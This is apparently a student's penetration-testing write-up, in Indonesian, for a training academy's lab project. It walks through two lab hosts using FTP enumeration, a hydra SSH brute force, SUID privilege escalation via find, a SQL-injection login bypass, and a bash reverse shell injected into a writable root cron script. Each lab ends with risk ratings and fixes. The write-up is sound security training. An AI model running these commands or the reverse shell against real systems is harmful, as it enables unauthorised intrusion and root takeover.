

WRITE UP
OmahTI Academy Final Project

Farrel Tsaqif Anindyo

Overview.....	2
Easy Lab.....	2
Scope.....	3
Walkthrough.....	3
1. Enumeration.....	3
2. Privilege Escalation.....	4
Risk Rating.....	5
Recommendation.....	6
Medium Lab.....	6
Scope.....	6
Walkthrough.....	6
1. Reconnaissance.....	6
2. Privilege Escalation.....	8
Risk Rating.....	10
Recommendation.....	10

Overview

Saya melakukan penetration testing terhadap target melalui kali-jump-box yang disediakan untuk pelatihan OmahTI Academy. Saya berusaha untuk mengidentifikasi dan mengeksploitasi kelemahan sistem yang dapat digunakan untuk mendapatkan akses tidak sah hingga ke level root dan mendapatkan flagnya.

Easy Lab

Scope

- Target Host: 10.104.16.5
- Accessible Services: FTP, SSH
- Methodology: Black-box testing melalui jumpbox Kali Linux
- Tools Used: nmap, ftp, hydra, linPEAS

Walkthrough

1. Enumeration

Command :

```
nmap -sC -sV 10.104.16.5
```

```
farrelta@ROG: ~  
# nmap -sC -sV 10.104.16.5  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 07:35 UTC  
Nmap scan report for 10.104.16.5  
Host is up (0.0034s latency).  
Not shown: 995 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 3.0.5  
| ftp-syst:  
|   STAT:  
|   FTP server status:  
|     Connected to ::ffff:10.104.16.2  
|     Logged in as ftp  
|     TYPE: ASCII  
|     No session bandwidth limit  
|     Session timeout in seconds is 300  
|     Control connection is plain text  
|     Data connections will be plain text  
|     At session startup, client count was 1  
|     vsFTPD 3.0.5 - secure, fast, stable  
|_End of status  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| -rw-r--r--  1 ftp      ftp          31 Jul 23 15:28 flag.txt  
| -rw-r--r--  1 ftp      ftp          48 Jul 23 15:28 note.txt  
| -rw-r--r--  1 ftp      ftp          865 Jul 23 15:43 wordlist.txt  
22/tcp    open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol  
2.0)  
| ssh-hostkey:  
|   256 8d:8b:36:6f:df:0c:e7:d6:aa:a5:af:2a:12:9d:a9:c2 (ECDSA)
```

Hasil :

- ftp login
- ssh login

Saat saya menggunakan ftp login, saya mendapatkan 3 file :

- flag.txt (flag pertama) -> OmahTIAcademy{anon_ftp_access}
- note.txt -> user account "easyuser" untuk login ssh
- wordlist.txt -> bruteforce password

Bruteforce ssh

Command :

hydra -l easyuser -P wordlist.txt -t 4 ssh://10.104.16.5

```

(root@kali-jump-box)-[~]
# hydra -l easyuser -P wordlist.txt -t 4 ssh://10.104.16.5
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in milita
ry or secret service organizations, or for illegal purposes (this is non-binding, th
ese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-26 07:49:55
[DATA] max 4 tasks per 1 server, overall 4 tasks, 98 login tries (l:1/p:98), ~25 tri
es per task
[DATA] attacking ssh://10.104.16.5:22/
[22][ssh] host: 10.104.16.5 login: easyuser password: R3sistance
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-26 07:49:59

```

Mendapatkan password : R3sistance

2. Privilege Escalation

Login ssh menggunakan username dan password diatas

Saya mencoba ls dan mendapatkan file :

- flag2.txt (flag kedua) -> OmahTIAcademy{Succesful_P@ssw0rd_Att@ck}
- linePEAS -> alat PE

Saya mencoba run linePEAS dan menemukan eksploitasi SUID di "usr/bin/find"

```

-rwsr-xr-x 1 root root 31K Feb 26 2022 /usr/bin/pkexec --> Linux4.10_6.5.1.17(C
VE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
-rwsr-xr-x 1 root root 276K Mar 23 2022 /usr/bin/find
-rwsr-xr-x 1 root root 35K Mar 23 2022 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 47K Apr 9 2024 /usr/bin/mount --> Apple Mac OSX(Lion) Ke

```

PE menggunakan command : `/usr/bin/find . -exec /bin/sh -p \; -quit`

Setelah cek `id` saya sudah mendapatkan akses root

```
farrelta@ROG: ~  
easyuser@Easy-Final-Project:~$ /usr/bin/find . -exec /bin/sh -p \; -quit  
# id  
uid=1000(easyuser) gid=1000(easyuser) euid=0(root) groups=1000(easyuser)  
# ls  
PEASS-ng flag2.txt linpeas.sh snap  
# cat /root/flag*.txt  
OmahTIAcademy{E@sy_R0ot_AcC3ss}  
# ls -la /root  
total 48  
drwx----- 6 root root 4096 Jul 23 15:41 .  
drwxr-xr-x 19 root root 4096 Jul 23 15:33 ..  
-rw----- 1 root root 5095 Jul 25 04:14 .bash_history  
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc  
drwx----- 2 root root 4096 Jul 23 14:44 .cache  
-rw-r--r-- 1 root root 0 Jul 23 14:37 .cloud-locale-test.skip  
drwxr-xr-x 3 root root 4096 Jul 23 14:55 .local  
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile  
drwx----- 2 root root 4096 Jul 23 14:37 .ssh  
-rw-r--r-- 1 root root 220 Jul 26 08:21 .wget-hsts  
-rw-r--r-- 1 root root 32 Jul 23 14:49 flag3.txt  
drwx----- 3 root root 4096 Jul 23 14:37 snap  
# cat flag3.txt  
cat: flag3.txt: No such file or directory  
# cat /root/flag3.txt  
OmahTIAcademy{E@sy_R0ot_AcC3ss}  
# Read from remote host 165.22.253.209: Connection reset by peer  
Connection to 165.22.253.209 closed.  
client_loop: send disconnect: Broken pipe
```

ls -la /root

Hasil :

- flag3.txt (flag ketiga) -> OmahTIAcademy{E@sy_R0ot_AcC3ss}

Risk Rating

Vulnerability	Risk level	Description
Anon FTP Access	Medium	Expose sensitive file
Weak password (bruteforce)	High	Easy guess password from wordlist.txt
SUID exploit	High	Allow PE from user to root

Recommendation

- Nonaktifkan akses anonymous FTP
- Terapkan password yang kuat
- Hapus bit SUID dari binary yang tidak perlu seperti `find`

Medium Lab

Scope

- Target Host: 10.104.16.6
- Accessible Services: web, SSH
- Methodology: Black-box testing melalui jumpbox Kali Linux, localhost web
- Tools Used: nmap, linPEAS, Netcat listener

Walkthrough

1. Reconnaissance

Saya connect ssh dan web dengan port forwarding command
`ssh -L 8086:10.104.16.6:80 root@165.22.253.209 -i class_key`

Lalu saya membuka website dengan url <http://localhost:8086>

Pertama saya mendapatkan tampilan login page dengan username dan password yang belum diketahui, lalu saya mencoba untuk masuk ke /robots.txt

```
User-agent: *  
Disallow: /users.xml  
  
OmahTIAcademy{R0bot5_Fl@g}
```

Mendapatkan flag pertama : OmahTIAcademy{R0bot5_Fl@g}

Lalu saya mencoba masuk ke /users.xml

```
-<users>  
  <!--  
    Note: These are test accounts, only admin426 is a real system user  
  -->  
  <user>testuser1</user>  
  <user>johndoe</user>  
  <user>admin426</user>  
</users>
```

Mendapatkan user sistem : admin426

Saya kembali ke halaman login page, saya mencoba sql injection untuk login ke dalam page dengan command " ' OR 1=1 -- - "

Saya berhasil login dan mendapatkan flag kedua :
OmahTIAcademy{SQL_L0g1n_By@ss}

Saya melihat-lihat website tersebut dan saat saya masuk ke profile, saya ternyata dapat mengupload profile picture. Saat saya mengupload gambar, gambar tersebut diteruskan ke halaman /uploads. Saya mencoba masuk ke sana.

Index of /uploads

Name	Last modified	Size	Description
 Parent Directory		-	
 Screenshot From 2025-07-13 23-37-32.png	2025-07-26 15:04	135K	
 admin_password.txt	2025-07-23 16:50	56	
 default.png	2019-02-26 18:03	18K	
 flag3.txt	2025-07-23 16:50	35	
 hehe.php	2025-07-26 03:52	40	
 hehe2.php	2025-07-26 04:02	68	
 hehe3.php	2025-07-26 04:03	77	
 shell_upload_rayy__.php	2025-07-26 17:15	2.6K	

Apache/2.4.52 (Ubuntu) Server at localhost Port 8086

Mendapatkan flag ketiga : OmahTIAcademy{F1l3_Uplo@d_@ttacks}

Dan juga password admin : SuperHardPassword123!

Saya mencoba login ssh menggunakan username dan password tersebut
`ssh admin426@10.104.16.6`

2. Privilege Escalation

Menggunakan command `ls` saya mendapatkan linPEAS sebagai alat untuk PE

Saya mencoba run linPEAS dan menemukan kelemahan

```
admin426@Medium-Final-Project: ~  
  
Other Interesting Files  
  
.sh files in path  
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path  
You can write script: /usr/local/bin/backup.sh  
/usr/bin/rescan-scsi-bus.sh  
/usr/bin/gettext.sh  
  
Executable files potentially added by user (limit 70)  
2025-07-26+15:17:17.8642201970 /usr/local/bin/backup.sh  
2025-07-24+18:18:07.5631965050 /etc/cron.hourly/droplet-agent  
2025-07-23+14:37:41.7714236220 /var/lib/cloud/scripts/peering.sh  
2024-07-01+15:41:22.2181116810 /etc/grub.d/01_track_initrdless_boot_fallback  
2024-07-01+15:40:08.2452378560 /etc/console-setup/cached_setup_terminal.sh  
2024-07-01+15:40:08.2452378560 /etc/console-setup/cached_setup_keyboard.sh  
2024-07-01+15:40:08.2452378560 /etc/console-setup/cached_setup_font.sh  
  
Unexpected in /opt (usually empty)  
total 12  
drwxr-xr-x 3 root root 4096 Jul 23 14:38 .
```

Saya injected reverse shell dengan mengedit file [backup.sh](#) dan menyisipkan kode `/bin/bash -i >& /dev/tcp/10.104.16.6/4444 0>&1`

Lalu set up Netcat listener dengan command
`nc -lvnp 4444`

```
admin426@Medium-Final-Project:~$ nano /usr/local/bin/backup.sh  
admin426@Medium-Final-Project:~$ nc -lvnp 4444  
Listening on 0.0.0.0 4444  
Connection received on 10.104.16.6 39718  
bash: cannot set terminal process group (271147): Inappropriate ioctl for device  
bash: no job control in this shell  
root@Medium-Final-Project:~# ls  
ls  
flag4.txt  
snap  
root@Medium-Final-Project:~# cat flag4.txt  
cat flag4.txt  
OmahTIAcademy{M3d1um_R00t_Acc35s}  
root@Medium-Final-Project:~#
```

Berhasil melakukan PE dan mendapatkan akses root dan juga menemukan flag keempat : OmahTIAcademy{M3d1um_R00t_Acc35s}

Risk Rating

Vulnerability	Risk level
Exposed Sensitive Files	Medium
SQL Injection	High
Arbitrary File Upload (RCE)	High
Poor File Permission (backup.sh)	High

Recommendation

- Sanitasi semua input pengguna untuk mencegah injeksi SQL
- Hapus berkas sensitif dari direktori publik
- Tinjau izin berkas/skrip dan batasi akses tulis ke berkas milik root
- Terapkan prinsip hak istimewa terkecil pada semua pengguna